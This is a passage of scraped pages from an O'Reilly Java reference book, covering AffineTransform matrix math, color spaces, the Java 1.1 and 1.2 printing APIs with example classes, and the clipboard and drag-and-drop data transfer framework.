An AffineTransform is a linear transform, so the transformation can be expressed in the matrix notation of linear algebra. An arbitrary AffineTransform can be mathematically expressed by six numbers arranged in a matrix like this: figure In this matrix, tx and ty are the translation amounts, sx and sy are the scaling factors, and shx and shy are the shearing factors, all in the X and Y dimensions, respectively. As we'll see in a moment, rotation is a combination of scaling and shearing, so there are not separate rx and ry numbers.

To transform a point from one coordinate system to another using an AffineTransform, we multiply the point by this matrix. Using matrix notation (and adding a few dummy matrix elements), the equation looks like this: figure This matrix equation is simply shorthand for the following system of equations:

x' = sx*x + shx*y + tx
y' = shy*x + sy*y + ty

The identity transform does not perform any transformation at all. It looks like this: figure

Mathematically, rotation is a combination of scaling and shearing. The rotation of an angle theta around the origin is expressed with a matrix like this: figure You don't need to understand how this rotation matrix works. If you remember basic trigonometry, however, you can use it and the preceding equations to verify that this matrix works for the base cases of 90-degree and 180-degree rotations.

As we've seen, it is possible to make cumulative changes to an AffineTransform. This is done by multiplying the current transformation matrix by the new transformation matrix. For example, suppose we perform a translation by 100 units in both the X and Y dimensions and follow this by scaling both the X and Y dimensions by a factor of 2. The resulting AffineTransform matrix is the product of the two individual matrices: figure Note that matrix multiplication is not commutative. If we perform the scaling operation first and then do the translation, we obtain a different result: figure

Most applications do not have to work with matrices explicitly in order to perform coordinate-system transformations. As we've seen, it typically is easier to use the translate(), scale(), rotate(), and shear() methods of either AffineTransform or Graphics2D. It is useful to understand the mathematics underlying AffineTransform, however.

You may, on occasion, have the need to create a custom AffineTransform object from a set of six numbers. A number of AffineTransform constructors and methods take matrix elements as arguments. These matrix elements are either passed in explicitly or specified in an array. Note that the matrix-element naming system used by the AffineTransform class is different than the system I've used here. The parameter names for AffineTransform methods are based on the following matrix: figure This is nothing more that a different naming scheme for the elements we are already familiar with: figure When matrix elements are passed to or returned by an AffineTransform in an array of float or double values, they are stored in this order: figure This corresponds to the following order using our mnemonic names: figure

Previous | Home | Next
4.10. Buffered Images | Book Index | 4.12. Color Spaces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Color Spaces (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

4.12. Color Spaces

The java.awt.Color class represents a color in Java. As we discussed earlier, Java 2D has added several new constructors to the Color class, to support the creation of translucent colors. Another important change to the Color class is support for arbitrary color spaces. A color space is a system for representing a color using some characteristic set of axes.

Java 2D introduces the java.awt.color package for working with color spaces. The most important piece of this package is the abstract ColorSpace class, which represents a color space and defines a number of constants for commonly used spaces. By default, Java colors are represented in the standard, device-independent sRGB color space, in which colors are represented by idealized red, green, and blue components. There are other ways of representing colors, however. One commonly used standard is the CIEXYZ space, which represents colors in terms of three abstract components named X, Y, and Z. Applications that represent colors to be displayed on a printed page often use the CMYK color space, which represents the cyan, magenta, yellow, and black inks used in the four-color printing process. Another familiar color space is the grayscale color space, which represents shades of gray as individual values between 0.0 (black) and 1.0 (white).

An application that cares about accurate color reproduction often uses a device-independent color space to ensure that the colors it displays look the same on different monitors, printers, and other devices. To make device-independent color representation work, each monitor, printer, scanner, or other device needs to be calibrated, so that device-independent colors can be correctly and accurately converted to appropriate device-dependent colors for that device. The result of a device calibration is called a "profile." The International Color Consortium (ICC) has defined a standard file format for profiles, and the java.awt.color package defines classes that implement color spaces in terms of these profiles. Sun's implementation of the Java 1.2 runtime environment includes five sample profiles for five different color spaces, stored in the jre/lib/cmm directory of the Java installation. A more sophisticated implementation would obtain profiles from the color management system of the native OS.

Previous | Home | Next
4.11. Transformations with AffineTransform | Book Index | 5. Printing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Printing (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 5. Printing

Contents:

Printing in Java 1.1
Printing in Java 1.2

The previous chapters of this book have described how to draw graphics and display graphical user interfaces on a computer screen. This chapter explains how to transfer those graphics to hardcopy. Printing was not supported in Java 1.0. Java 1.1 added a simple printing API that was easy to use but was not tightly integrated with the printing capabilities of the underlying operating system. The Java 2 platform introduces an entirely new printing API that addresses the shortcomings of the Java 1.1 API. This chapter explains both the Java 1.1 and the Java 1.2 APIs.

5.1. Printing in Java 1.1

In Java 1.1, you use a Graphics object to draw to the screen or into an off-screen Image. To produce hardcopy, you do exactly the same thing: obtain a Graphics object that represents your printer and use the methods of that object to draw to the printer. The only tricky thing you need to know is how to obtain an appropriate Graphics object. You do this with a java.awt.PrintJob object, which you can obtain from the Toolkit object.

The basic Java 1.1 printing algorithm has the following steps:

  1. First, you must begin the print job. You do this by calling the getPrintJob() method of the Toolkit object. This method displays a dialog box to the user to request information about the print job, such as the name of the printer it should be sent to. getPrintJob() returns a PrintJob object.

  2. To begin printing a page, you call the getGraphics() method of the PrintJob object. This returns a Graphics object that implements the PrintGraphics interface, to distinguish it from an on-screen Graphics object.

  3. Now you can use the various methods of the Graphics object to draw your desired output on the page. If you are printing an applet or a custom AWT component, you can simply pass your Graphics object to the paint() method of the applet or component. Note, however, that built-in AWT components are drawn by the native GUI system, rather than a paint() method, and may not print correctly.

  4. When you are done drawing the page, you call the dispose() method of the Graphics object to send that page description to the printer. If you need to print another page, you can call the getGraphics() method of the PrintJob again to obtain a new Graphics object for the next page and repeat the process of drawing and calling dispose().

  5. When you have printed all of your pages, you end the print job itself by calling the end() method of the PrintJob object.

With the Java 1.1 printing API, the coordinate system of the printer is very much like the coordinate system used when drawing on-screen. The origin is at the top left, X coordinates run from left to right, and Y coordinates run from the top to the bottom of the page. The coordinate system uses a resolution of 72 points per inch, which is a typical resolution for monitors as well. Most printers support much higher resolutions than this, however, and they use that extra resolution when printing text, for example. However, because the Java 1.1 Graphics object does not allow floating-point coordinates, all graphics must be positioned exactly at integer positions.

Previous | Home | Next
4.12. Color Spaces | Book Index | 5.2. Printing in Java 1.2
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Printing in Java 1.2 (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

5.2. Printing in Java 1.2

Java 1.2 introduces a more complete printing API. As in Java 1.1, printing is done by calling methods of a special Graphics object that represents the printer device. The printer coordinate system and base resolution of 72 points per inch are the same in both Java 1.1 and Java 1.2. Beyond these similarities, however, the Java 1.2 API flips the Java 1.1 API upside down. Instead of asking a PrintJob object for the Graphics object to draw to, Java 1.2 uses a callback model. You tell the Java 1.2 printing API the object you'd like to print, and it calls the print() method of that object, passing in the appropriate Graphics object to draw to. In Java 1.1, your printing code is in charge of the print job, while in Java 1.2, the print job is in charge of your printing code.

The Java 1.2 printing API is contained in the java.awt.print package. Key classes and interfaces in this package are Printable, which represents a printable object, Pageable, which represents a multipage printable document, and PrinterJob, which coordinates the print job and serves as an intermediary between the Java API and the native printing system. Do not confuse java.awt.print.PrinterJob with the java.awt.PrintJob class used by the Java 1.1 printing API! Another important class is PageFormat, which represents the size of the paper being printed on, its margins, and the printing orientation (i.e., portrait mode or landscape mode).

The basic Java 1.2 printing algorithm includes the following steps:

  1. First, obtain a PrinterJob object to coordinate the printing. Do this by calling the static method PrinterJob.getPrinterJob().

  2. Obtain a PageFormat object that describes the size, margins, and orientation of the page or pages to be printed. The PrinterJob object has methods that allow you to obtain a default PageFormat object and display a dialog asking the user to specify paper, margin, and orientation information. (You might display this dialog box in response to a Print Setup... menu item, for example.)

  3. Next, tell the PrinterJob object what it is that you want to print. The item to print is an object that implements either the Printable interface or the Pageable interface (we'll discuss each of these in more detail shortly). You pass this object to either the setPrintable() or the setPageable() method of the PrinterJob.

  4. Unless you want the printing to occur silently, without any user interaction, your next call is to the printDialog() method of the PrinterJob object. This method displays a dialog box, giving the user the opportunity to specify the printer to use and the number of copies to print. If you are printing a multipage Pageable object, this dialog box allows the user to select a subset of pages to print, rather than printing the entire Pageable document. The dialog box also gives the user the opportunity to cancel the print job. If the printDialog() method returns false, the user has asked to cancel printing and you should not proceed.

  5. Finally, you call the print() method of the PrinterJob. This tells the PrinterJob to begin the printing process.

  6. The PrinterJob is now in control of printing. As we'll discuss later, PrinterJob invokes methods of the Printable or Pageable object you specified, providing the opportunity for your object to print itself to an appropriate Graphics object.

5.2.1. Printing Single-Page Objects

When the object, figure, or document you want to print fits on a single printed page, you typically represent it using the Printable interface. This interface defines a single method, print(), that the PrinterJob calls to print the page. The print() method has three arguments. The first is the Graphics object that represents the printer. print() should do all of its drawing using this object. This Graphics object may be cast to a Graphics2D object, enabling all the features of Java 2D, including the use of floating-point coordinates to position graphics elements with more precision than is possible with integer coordinates.

The second argument to print() is a PageFormat object. Your print() method should call the getImageableX(), getImageableY(), getImageableWidth(), and getImageableHeight() methods of PageFormat to determine the size and position of the area that it should draw in. Note that these methods are poorly named. The values they return represent the page and margin sizes requested by the user, not the size of the paper actually available in the printer or the imageable area of the printer (i.e., the region of the page that a specific type of printer can actually print to).

The third argument is a page number. Although the Printable interface is most useful for single-page documents, it can be used for multipage documents. The PrinterJob has no way to determine how many pages a Printable object requires. Indeed, a Printable object may be implemented in such a way that it does not know how many pages it requires either (e.g., a PrintableStream object that prints a stream of text as it arrives). Because the page count is not known in advance, the PrinterJob calls the print() method repeatedly, incrementing the page number after printing each page.

One important responsibility of the print() method is to notify the PrinterJob when all pages are printed. Your method does this by returning the constant Printable.NO_SUCH_PAGE when the PrinterJob asks it to print a page that is past the end of the document.

It is also important to implement the print() method so that it can be called more than once for each page. As of this writing, Sun's Java 1.2 printing implementation calls the print() method at least twice for each page (we'll see why at the end of this chapter).

Example 5-1 shows a PrintableComponent class that can be used to print the contents of a Swing component, applet, or custom AWT component. This class is a wrapper around a Component and implements the Printable interface. Note that it defines two print() methods. One is the three-argument Printable method I already described. The other print() method takes no arguments and implements the general Java 1.2 printing algorithm. It creates a PrinterJob, displays some dialogs to the user, and initiates the printing process. To print a component, create a PrintableComponent for that component, then call its print() method with no arguments.

Example 5-1. PrintableComponent.java

import java.awt.*;
import java.awt.print.*;

/**
 * This wrapper class encapsulates a Component and allows it to be printed
 * using the Java 1.2 printing API
 */
public class PrintableComponent implements Printable {
  // The component to be printed
  Component c;

  /** Create a PrintableComponent wrapper around a Component */
  public PrintableComponent(Component c) { this.c = c; }

  /**
   * This method is not part of the Printable interface.  It is a method
   * that sets up the PrinterJob and initiates the printing.
   */
  public void print() throws PrinterException {
    // Get the PrinterJob object
    PrinterJob job = PrinterJob.getPrinterJob();
    // Get the default page format, then allow the user to modify it
    PageFormat format = job.pageDialog(job.defaultPage());
    // Tell the PrinterJob what to print
    job.setPrintable(this, format);
    // Ask the user to confirm, and then begin the printing process
    if (job.printDialog())
      job.print();
  }

  /**
   * This is the "callback" method that the PrinterJob will invoke.
   * This method is defined by the Printable interface.
   */
  public int print(Graphics g, PageFormat format, int pagenum) {
    // The PrinterJob will keep trying to print pages until we return
    // this value to tell it that it has reached the end
    if (pagenum > 0)
      return Printable.NO_SUCH_PAGE;

    // We're passed a Graphics object, but it can always be cast to Graphics2D
    Graphics2D g2 = (Graphics2D) g;

    // Use the top and left margins specified in the PageFormat Note
    // that the PageFormat methods are poorly named.  They specify
    // margins, not the actual imageable area of the printer.
    g2.translate(format.getImageableX(), format.getImageableY());

    // Tell the Component to draw itself to the printer by passing in
    // the Graphics2D object.  This will not work well if the Component
    // has double-buffering enabled.
    c.paint(g2);

    // Return this constant to tell the PrinterJob that we printed the page
    return Printable.PAGE_EXISTS;
  }
}

There are a few important points to note about this PrintableComponent example. First, it is not designed to work with native AWT components, since those components do not do their own drawing. Second, it does not work well for components that use double-buffering because double-buffering locks the component drawing into the relatively low resolution of an off-screen image, rather than taking advantage of the high resolution available on the printer. Finally, PrintableComponent prints only the visible portion of a component, not the complete contents of the component. For example, the Swing JEditorPane class can display long HTML documents. If you use PrintableComponent to print a JEditorPane, however, it prints only the currently visible text, not the complete HTML document. The ability to print complete documents is a feature that is sorely missing in the current implementation of Swing.

5.2.2. Printing Multipage Documents

As we just discussed, the Printable interface can be used to print multipage documents. However, the PrinterJob has no way of determining in advance how many pages are required. This means that the user cannot request that only a subset of pages be printed, for example. When you know the complete contents of the document to be printed and can break it into pages before printing begins, it is better to use the Pageable interface than the Printable interface.

Pageable defines a getNumberOfPages() method that returns the number of pages to be printed. It also defines two methods that take a page number and return PageFormat and Printable objects for that page. To print a Pageable object, the PrinterJob asks for a PageFormat and a Printable object for each page to be printed and then uses the print() method of each Printable object to print that page.

Example 5-2 shows a class that implements the Pageable and Printable interfaces in order to print a string, file, or stream of text. This is a rudimentary example of text printing. It prints only text files, using a single font, and does not even expand tabs or wrap long lines. The Java 1.2 printing API allows the use of Java 2D graphics through the Graphics2D class. This example does not use the Java 2D version of the drawString() method, however. Although that method allows text to be positioned more precisely using floating-point coordinates, there is a bug in the current implementation that prevents this method from printing correctly.

Example 5-2. PageableText.java

import java.awt.*;
import java.awt.print.*;
import java.io.*;
import java.util.Vector;

public class PageableText implements Pageable, Printable {
  // Constants for font name, size, style and line spacing
  public static String FONTFAMILY = "Monospaced";
  public static int FONTSIZE = 10;
  public static int FONTSTYLE = Font.PLAIN;
  public static float LINESPACEFACTOR = 1.1f;

  PageFormat format;   // The page size, margins, and orientation
  Vector lines;        // The text to be printed, broken into lines
  Font font;           // The font to print with
  int linespacing;     // How much space between lines
  int linesPerPage;    // How many lines fit on a page
  int numPages;        // How many pages required to print all lines
  int baseline = -1;   // The baseline position of the font

  /** Create a PageableText object for a string of text */
  public PageableText(String text, PageFormat format) throws IOException {
    this(new StringReader(text), format);
  }

  /** Create a PageableText object for a file of text */
  public PageableText(File file, PageFormat format) throws IOException {
    this(new FileReader(file), format);
  }

  /** Create a PageableText object for a stream of text */
  public PageableText(Reader stream, PageFormat format) throws IOException {
    this.format = format;

    // First, read all the text, breaking it into lines.
    // This code ignores tabs and does not wrap long lines.
    BufferedReader in = new BufferedReader(stream);
    lines = new Vector();
    String line;
    while((line = in.readLine()) != null)
      lines.addElement(line);

    // Create the font we will use, and compute spacing between lines
    font = new Font(FONTFAMILY, FONTSTYLE, FONTSIZE);
    linespacing = (int) (FONTSIZE * LINESPACEFACTOR);

    // Figure out how many lines per page and how many pages
    linesPerPage = (int)Math.floor(format.getImageableHeight()/linespacing);
    numPages = (lines.size()-1)/linesPerPage + 1;
  }

  // These are the methods of the Pageable interface.
  // Note that the getPrintable() method returns this object, which means
  // that this class must also implement the Printable interface.
  public int getNumberOfPages() { return numPages; }
  public PageFormat getPageFormat(int pagenum) { return format; }
  public Printable getPrintable(int pagenum) { return this; }

  /**
   * This is the print() method of the Printable interface.
   * It does most of the printing work.
   */
  public int print(Graphics g, PageFormat format, int pagenum) {
    // Tell the PrinterJob if the page number is not a legal one
    if ((pagenum < 0) | (pagenum >= numPages))
      return NO_SUCH_PAGE;

    // First time we're called, figure out the baseline for our font.
    // We couldn't do this earlier because we needed a Graphics object.
    if (baseline == -1) {
      FontMetrics fm = g.getFontMetrics(font);
      baseline = fm.getAscent();
    }

    // Clear the background to white.  This shouldn't be necessary but is
    // required on some systems to work around an implementation bug.
    g.setColor(Color.white);
    g.fillRect((int)format.getImageableX(), (int)format.getImageableY(),
               (int)format.getImageableWidth(),
               (int)format.getImageableHeight());

    // Set the font and the color we will be drawing with.
    // Note that you cannot assume that black is the default color!
    g.setFont(font);
    g.setColor(Color.black);

    // Figure out which lines of text we will print on this page
    int startLine = pagenum * linesPerPage;
    int endLine = startLine + linesPerPage - 1;
    if (endLine >= lines.size())
      endLine = lines.size()-1;

    // Compute the position on the page of the first line
    int x0 = (int) format.getImageableX();
    int y0 = (int) format.getImageableY() + baseline;

    // Loop through the lines, drawing them all to the page
    for(int i=startLine; i <= endLine; i++) {
      // Get the line
      String line = (String)lines.elementAt(i);

      // Draw the line.
      // We use the integer version of drawString(), not the Java 2D
      // version that uses floating-point coordinates. A bug in early
      // Java 1.2 implementations prevents the Java 2D version from working.
      if (line.length() > 0)
        g.drawString(line, x0, y0);

      // Move down the page for the next line
      y0 += linespacing;
    }

    // Tell the PrinterJob that we successfully printed the page
    return PAGE_EXISTS;
  }

  /**
   * This is a test program that demonstrates the use of PageableText
   */
  public static void main(String[] args) throws IOException, PrinterException {
    // Get the PrinterJob object that coordinates everything
    PrinterJob job = PrinterJob.getPrinterJob();

    // Get the default page format, then ask the user to customize it
    PageFormat format = job.pageDialog(job.defaultPage());

    // Create our PageableText object, and tell the PrinterJob about it
    job.setPageable(new PageableText(new File(args[0]), format));

    // Ask the user to select a printer, etc., and if not canceled, print!
    if (job.printDialog())
      job.print();
  }
}

5.2.3. Efficiency Issues in the Java 1.2 Printing API

Although the Java 1.2 printing API offers important design improvements over the Java 1.1 API, there are serious efficiency problems with Sun's implementation of the 1.2 API in versions of Java up to at least Java 1.2.2. All printers are good at printing text, but not all are equally good at drawing arbitrary graphics. Thus, when a page contains anything but text or very simple graphics, Java 1.2 converts the entire page to a very large image and prints it in graphics mode.

As I mentioned earlier, the current implementation of PrinterJob calls the print() method of a Printable object at least twice. The first call uses a dummy Graphics object whose sole purpose is to determine what kind of graphics the page contains. If the page contains only text, as is the case in Example 5-2, the PrinterJob can print the page efficiently in text mode.

However, if the page contains any other type of graphics, the PrinterJob uses a large, high-resolution image to capture the graphics on the page and then transmits this image to the printer for printing in graphics mode. Because such a high-resolution image is memory intensive, the PrinterJob typically breaks the page up into several smaller bands and calls the print() method several times (using a different clipping region each time). In this way, the PrinterJob is able to spool a large image to the printer without using a large amount of memory (a classic time versus space trade-off).

Unfortunately, the implementation is not well optimized, and printing performance is unacceptable on some systems. Printing even a simple graphic, such as one produced with the PrintableComponent class shown in Example 5-1, can take several minutes and can produce a printer spool file of more than 50 megabytes.

Printing with the Java 1.1 API works better in Java 1.1 than it does in current implementations of Java 1.2. The Java 1.1 API works in Java 1.2, but it suffers the same efficiency problems as the Java 1.2 API. Furthermore, the Java 1.1 API does not perform the first pass to determine what type of graphics a page contains, so even a Java 1.1 program that prints only text is inefficient when run under Java 1.2.

Previous | Home | Next
5.1. Printing in Java 1.1 | Book Index | 6. Data Transfer
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Transfer (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 6. Data Transfer

Contents:

The Data Transfer Framework
Cut-and-Paste
Drag-and-Drop
A Data Source
A Data Sink

Data transfer refers to the ability of an application to transfer selected data in a variety of ways. For example, an application can use data transfer to support moving data between its own subparts. An application can also use data transfer to exchange data with other Java applications that are running in the same Java VM or in another Java VM or with native applications that are not running in a VM at all. There are two commonly used metaphors for data transfer: cut-and-paste and drag-and-drop. Java 1.1 included a basic data transfer architecture and supported cut-and-paste. The Java 2 platform extends the architecture in minor ways and adds support for drag-and-drop.

6.1. The Data Transfer Framework

Both the cut-and-paste and drag-and-drop metaphors rely on the same underlying data transfer architecture. This architecture was defined in Java 1.1 in the java.awt.datatransfer package. It consists of the DataFlavor class, which describes data types and data formats, and the Transferable interface, which defines methods that must be implemented if data is to be transferred.

6.1.1. The DataFlavor Class

A data transfer mechanism requires a precise and portable way to specify the type of data to be transferred. This is necessary so that both parties to the transfer--the data source and the data sink--can agree on exactly what is being transferred. Since the data source and the data sink may be entirely different applications, the mechanism for describing a data type must be general and flexible.

In Java, the type of data being transferred is described by a java.awt.datatransfer.DataFlavor object. The DataFlavor class describes data types using MIME types. MIME defines standard types like "text/html" and "image/jpeg". Because Java programs often transfer data within the same Java VM or between VMs, the DataFlavor class also supports describing data types with Java class names. For example, to transfer a java.awt.Point object from one Java VM to another, the data transfer mechanism can simply serialize the Point object and send the resulting stream of bytes to the other Java VM, where the Point object can be deserialized. When doing data transfer between Java VMs in this way, the transfer of objects becomes totally transparent.

The DataFlavor class defines constants for several commonly used data flavors, including DataFlavor.stringFlavor, DataFlavor.plainTextFlavor, and (in Java 1.2) DataFlavor.javaFileListFlavor. To transfer another types of data, you must create a custom DataFlavor by specifying the MIME type or Java class of the data and a human-readable name for the data type. For example:

DataFlavor jpegFlavor = new DataFlavor("image/jpeg", "JPEG Image Data");
DataFlavor pointFlavor = new DataFlavor(java.awt.Point.class,
                                        "Java Point Object");

6.1.2. The Transferable Interface

DataFlavor objects describe data types, but they contain no data themselves. Data to be transferred using cut-and-paste or drag-and-drop must be encapsulated in an object that implements the Transferable interface.

Data transfer occurs in a heterogeneous environment. When you design the data transfer capabilities of your application, you cannot know the other applications with which the user may eventually want to exchange data. Thus, for maximum flexibility, an application that exports data--a data source--typically offers its data in multiple formats. An application that exports text might offer to transfer that data in the form of a Java String object or as a stream of Unicode characters, for example. If the receiving application is a Java program, it may choose to request the data as a Java String, while a non-Java application would choose the stream of characters instead.

The Transferable interface defines three methods. getTransferDataFlavors(), returns an array of DataFlavor objects that represent the data formats in which the data may be transferred, while isDataFlavorSupported() asks whether a particular data flavor is supported. The third method, getTransferData(), performs the actual transfer. This method takes an argument that specifies the desired data flavor and returns an Object that represents the data in the specified format. If the specified data flavor is not supported, getTransferData() throws an UnsupportedFlavorException.

The return value for getTransferData() needs a little more explanation. The type of this object depends on the DataFlavor that was requested. For any DataFlavor, the getRepresentationClass() method returns a Java Class object that represents the type of object that will be returned by getTransferData(). When a DataFlavor represents data that is transferred as a serialized Java object, the return value of getTransferData() is simply a Java object of whatever type was transferred (e.g., a String or java.awt.Point object). When a DataFlavor represents a MIME type, the data is actually transferred between applications as a stream of bytes. In this case, getTransferData() returns a java.io.InputStream object from which you can read and parse these bytes.

Because text is the most frequently transferred data type, the java.awt.datatransfer package defines a StringSelection class that implements the Transferable interface for strings. This Transferable class supports two data flavors, the pre-defined DataFlavor.stringFlavor and DataFlavor.plainTextFlavor constants. Unfortunately, however, there is a problem with StringSelection. When the string is requested in plain text format, the getTransferData() method returns a java.io.Reader object instead of a java.io.InputStream. Because StringSelection is widely used, applications receiving DataFlavor.plainTextFlavor data may want to use instanceof to determine whether the return value is an InputStream (a byte stream) or a Reader (a Unicode character stream). Despite the problems with StringSelection, there is a long-standing bug in Sun's Java 1.1 and Java 1.2 implementations for Windows platforms that makes it indispensable. On those platforms, StringSelection is the only Transferable class that can successfully transfer text between a Java application and a native application.

Applications that display strings in JTextField, JTextArea, and related components already support textual data transfer, as these components have cut-and-paste support built in. In other words, you typically don't have to implement textual data transfer yourself. When you do need to implement data transfer, it is probably because you are transferring some specialized type of data. Example 6-1 shows how we can implement the Transferable interface to transfer java.awt.Color objects between Java applications.

Example 6-1. TransferableColor.java

import java.awt.Color;
import java.awt.datatransfer.*;
import java.io.*;

/**
 * This class is used to transfer a Color object via cut-and-paste or
 * drag-and-drop.  It allows a color to be transferred as a Color object
 * or as a string. Due to a long-standing bug in Java 1.1 and Java 1.2,
 * transferring a color as a string to native Windows applications will
 * not work.
 */
public class TransferableColor implements Transferable {
  // This DataFlavor object is used when we transfer Color objects directly
  protected static DataFlavor colorFlavor =
    new DataFlavor(Color.class, "Java Color Object");

  // These are the data flavors we support
  protected static DataFlavor[] supportedFlavors = {
    colorFlavor,                  // Transfer as a Color object
    DataFlavor.stringFlavor,      // Transfer as a String object
    DataFlavor.plainTextFlavor,   // Transfer as a stream of Unicode text
  };

  Color color;                    // The color we encapsulate and transfer

  /** Create a new TransferableColor that encapsulates the specified color */
  public TransferableColor(Color color) { this.color = color; }

  /** Return a list of DataFlavors we can support */
  public DataFlavor[] getTransferDataFlavors() { return supportedFlavors; }

  /** Check whether a specified DataFlavor is available */
  public boolean isDataFlavorSupported(DataFlavor flavor) {
    if (flavor.equals(colorFlavor) ||
        flavor.equals(DataFlavor.stringFlavor) ||
        flavor.equals(DataFlavor.plainTextFlavor)) return true;
    return false;
  }

  /**
   * Transfer the data.  Given a specified DataFlavor, return an Object
   * appropriate for that flavor.  Throw UnsupportedFlavorException if we
   * don't support the requested flavor.
   */
  public Object getTransferData(DataFlavor flavor)
       throws UnsupportedFlavorException, IOException
  {
    if (flavor.equals(colorFlavor)) return color;
    else if (flavor.equals(DataFlavor.stringFlavor)) return color.toString();
    else if (flavor.equals(DataFlavor.plainTextFlavor))
      return new ByteArrayInputStream(color.toString().getBytes("Unicode"));
    else throw new UnsupportedFlavorException(flavor);
  }
}
Previous | Home | Next
5.2. Printing in Java 1.2 | Book Index | 6.2. Cut-and-Paste
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cut-and-Paste (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

6.2. Cut-and-Paste

In addition to the data transfer framework classes, the java.awt.datatransfer package also defines the Clipboard class and the ClipboardOwner interface, which implement data transfer with the cut-and-paste metaphor.

A typical cut-and-paste transfer works as follows:

  • In the initiating application, the user types Ctrl-C or Ctrl-X or in some other way tells the application that he wants to copy or cut some data.

  • The application takes the selected data and encapsulates it in an appropriate Transferable object. The next step is to call the getSystemClipboard() method of the Toolkit object, to get a Clipboard object. The application then calls the setContents() method of the Clipboard, passing the Transferable object as the new clipboard contents.

  • If the user issued a cut command, the initiating application typically deletes the data after transferring it to the clipboard. If the user issued a copy command, however, the application typically just highlights the data to make it clear to the user what data is available for pasting. Often this data should remain highlighted for as long as the initiating application owns the clipboard. When an application calls setContents(), it becomes the clipboard owner and remains such until some other application transfers data to the clipboard. The application must, in fact, pass a object that implements ClipboardOwner to the setContents() method. This object is used to notify the application when it ceases to be the clipboard owner. Until that happens, however, the application must maintain the Transferable object and be willing to provide the data when it is requested.

  • At some point, the user moves his attention to some other application and issues a paste command in that application. This receiving first application calls Toolkit.getSystemClipboard() to obtain a Clipboard object. Then it calls getContents() to obtain a Transferable object that represents the data available on the clipboard. The application uses getTransferDataFlavors() or isDataFlavorSupported() to see if the clipboard data is available in a format it is willing to accept. If there is such a format, the application calls getTransferData() to transfer the data.

  • At some point after this cut-and-paste operation, the user cuts or copies a new piece of data in an application. At this point, the original application ceases to be the clipboard owner and no longer has to make its data available for pasting. The lostOwnership() method of the originating application's ClipboardOwner object is called to notify the application of this occurrence.

Previous | Home | Next
6.1. The Data Transfer Framework | Book Index | 6.3. Drag-and-Drop
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Drag-and-Drop (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

6.3. Drag-and-Drop

Java 1.2 adds drag-and-drop support to Java. Drag-and-drop requires quite a bit more infrastructure than cut-and-paste, and this infrastructure is added in a package of its own, java.awt.dnd. Despite the complexity of the infrastructure, drag-and-drop is built upon the same data transfer architecture as cut-and-paste. The key classes are still DataFlavor and Transferable.

Here's the general outline of a drag-and-drop transaction from the standpoint of the initiating or dragging application or component:

  • If a component within an application wants to allow data to be dragged from it, it first obtains a DragSource object and then uses this DragSource to create a DragGestureRecognizer. This DragGestureRecognizer pays attention to mouse events that occur over the component, looking for the platform-dependent gesture that indicates that the user wants to drag something.

  • When the DragGestureRecognizer sees a drag gesture, it invokes the dragGestureRecognized() of a specified DragGestureListener object.

  • The dragGestureRecognized() method determines if there is data available for dragging, and, if so, it encapsulates the data in a Transferable object. dragGestureRecognized is passed a DragGestureEvent object. Unlike most other event objects, many of the event objects in the java.awt.dnd package define important methods that are used during a drag-and-drop transaction. In this case, the dragGestureRecognized() method activates the native drag-and-drop system by calling the startDrag() method of its DragGestureEvent object and passing it the Transferable object. In the call to startDrag(), you also specify a cursor that is displayed during the drag and a DragSourceListener object that keeps the data source notified about how the drag is progressing. You can also specify an optional Image that is dragged along with the cursor, on systems that support it. (Call the static DragSource.isDragImageSupported() to see if image dragging is supported on the system.)

  • As the user drags the data, various methods of the DragSourceListener are invoked to notify the initiating application of the status of the drag. These methods can be used to update the cursor being displayed or the image being dragged along with the cursor. The methods provide a way to implement specialized drag-over animation effects, for example. The native drag-and-drop system typically supplies basic drag-over effects, by changing the cursor when it is over a receptive drop target.

  • The most commonly used DragSourceListener method is dragDropEnd(). This method is invoked when the user drops the data. The initiating application can use this method to determine whether the drop was successful. If the user were moving data instead of copying data, the initiating application should delete its copy of the data once it has been successfully transferred to the recipient. dragDropEnd() is passed a DragSourceDropEvent object. The getDropSuccess() and getDropAction() methods of this event help the initiating application decide on the appropriate action to take.

A drag-and-drop transaction looks somewhat different from the standpoint of a receiving application or component:

  • A component that wants to allow data to be dropped on it must create a DropTarget object to act as an intermediary between itself and the native drag-and-drop system. When creating a DropTarget, you must specify the component on which data can be dropped and also a DropTargetListener object that can be notified when data is dragged over the component.

  • When the user drags data over the component, the dragEnter() method of the DropTargetListener is invoked. This method is passed a DropTargetDragEvent that it can query to determine the supported data flavors of the data being dragged. If the component is willing to accept a drop of that type of data, it should call the acceptDrop() method of the event object to signal its willingness. This in turn causes the dragEnter() method of the DragSourceListener in the initiating application to be invoked. The dragEnter() method of the DropTargetListener may also want to display some visual cue to the user of its willingness to accept a drop. For example, it might change colors or change its border. This kind of visual change is known as a "drag-under effect."

  • The dragOver() method is called
        repeatedly as the user continues to drag the data over the
        component.  If the user drags the data out of the component,
        the dragExit() method is called.  If
        dragEnter() displayed a visual cue,
        dragExit() should undo it.

  • If the user drops the data while over the component, the drop() method of the DropTargetListener is invoked. It is this method that performs the actual data transfer. drop() is passed a DropTargetDropEvent. The getTransferable() method of this event returns the Transferable object that was dropped. If the Transferable object supports a DataFlavor that the component can accept, the component calls the acceptDrop() method of the event to tell the native drag-and-drop system that the drop is valid. If it cannot work with any of the available data flavors, it should call rejectDrop(). After accepting the drop, the receiving component uses the getTransferData() method of the Transferable object to actually transfer the data. This phase of the data transfer is done exactly as it is in cut-and-paste. Finally, the component calls the dropComplete() method of the DropTargetDropEvent, passing true if the transfer was successful or false if something went wrong and the transfer did not succeed.

Previous | Home | Next
6.2. Cut-and-Paste | Book Index | 6.4. A Data Source
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Data Source (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

6.4. A Data Source

